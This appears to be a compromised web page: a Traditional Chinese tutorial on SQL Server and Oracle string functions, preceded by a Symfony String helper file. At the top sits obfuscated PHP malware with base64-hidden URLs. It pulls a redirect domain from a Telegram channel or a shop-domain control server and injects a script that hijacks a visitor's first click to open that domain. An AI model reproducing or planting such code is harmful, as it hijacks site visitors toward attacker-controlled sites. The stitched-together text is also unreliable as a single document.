function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } 【SQL字串操作全攻略】SQL Server與Oracle字串函數與語法教學 - OOLIN

【SQL字串操作全攻略】SQL Server與Oracle字串函數與語法教學

資料庫

在資料庫開發與數據處理過程中,字串處理操作極為常見。SQL Server 與 Oracle 作為主流資料庫系統,其字串處理函數雖大致相似,但仍存在細節差異。本文將對 SQL Server 與 Oracle 中常用的字串處理技巧與函數進行詳解,幫助開發者快速上手,提高開發效率。


一、字串長度計算

1. SQL Server

SELECT LEN('Hello World');  -- 返回11,注意不計算尾部空格

2. Oracle

SELECT LENGTH('Hello World') FROM DUAL;  -- 返回11,計算所有字符

二、字串拼接

1. SQL Server

SELECT 'Hello' + ' ' + 'World';

2. Oracle

SELECT 'Hello' || ' ' || 'World' FROM DUAL;

三、截取字串

1. SQL Server – SUBSTRING

SELECT SUBSTRING('Hello World', 1, 5);  -- 返回Hello

2. Oracle – SUBSTR

SELECT SUBSTR('Hello World', 1, 5) FROM DUAL;  -- 返回Hello

四、尋找字串位置

1. SQL Server – CHARINDEX

SELECT CHARINDEX('World', 'Hello World');  -- 返回7

2. Oracle – INSTR

SELECT INSTR('Hello World', 'World') FROM DUAL;  -- 返回7

五、字串替換

1. SQL Server – REPLACE

SELECT REPLACE('Hello World', 'World', 'SQL');  -- 返回Hello SQL

2. Oracle – REPLACE

SELECT REPLACE('Hello World', 'World', 'SQL') FROM DUAL;  -- 返回Hello SQL

六、去除空白

1. SQL Server

  • 去除前後空白:
SELECT LTRIM(RTRIM('  Hello World  '));  -- 返回Hello World
  • 去除左側空白:
SELECT LTRIM('  Hello World  ');
  • 去除右側空白:
SELECT RTRIM('  Hello World  ');

2. Oracle

  • 去除前後空白:
SELECT TRIM('  Hello World  ') FROM DUAL;  -- 返回Hello World
  • 去除左側空白:
SELECT LTRIM('  Hello World  ') FROM DUAL;
  • 去除右側空白:
SELECT RTRIM('  Hello World  ') FROM DUAL;

七、大小寫轉換

1. SQL Server

  • 轉換為小寫:
SELECT LOWER('Hello World');  -- 返回hello world
  • 轉換為大寫:
SELECT UPPER('Hello World');  -- 返回HELLO WORLD

2. Oracle

  • 轉換為小寫:
SELECT LOWER('Hello World') FROM DUAL;
  • 轉換為大寫:
SELECT UPPER('Hello World') FROM DUAL;

八、重複字串

1. SQL Server – REPLICATE

SELECT REPLICATE('SQL', 3);  -- 返回SQLSQLSQL

2. Oracle – RPAD

SELECT RPAD('SQL', 9, 'SQL') FROM DUAL;  -- 返回SQLSQLSQL

九、特殊字元處理

1. SQL Server – QUOTENAME

SELECT QUOTENAME('ColumnName');  -- 返回[ColumnName]

2. Oracle – 雙引號標識符

SELECT "ColumnName" FROM TableName;

十、實務應用技巧

  1. 使用 CONCAT 函數(SQL Server 2012+)
SELECT CONCAT('Hello', ' ', 'World');
  1. 處理 NULL 值避免拼接失敗
  • SQL Server:使用 ISNULL
SELECT 'Hello ' + ISNULL(NULL, 'World');
  • Oracle:使用 NVL
SELECT 'Hello ' || NVL(NULL, 'World') FROM DUAL;

透過上述字串處理函數的熟練運用,不僅能提升 SQL 語句的編寫效率,還能在數據清理、轉換和報表製作等場景發揮強大作用。掌握 SQL Server 與 Oracle 字串處理的異同,將有助於應對不同資料庫平台的開發需求。

發佈留言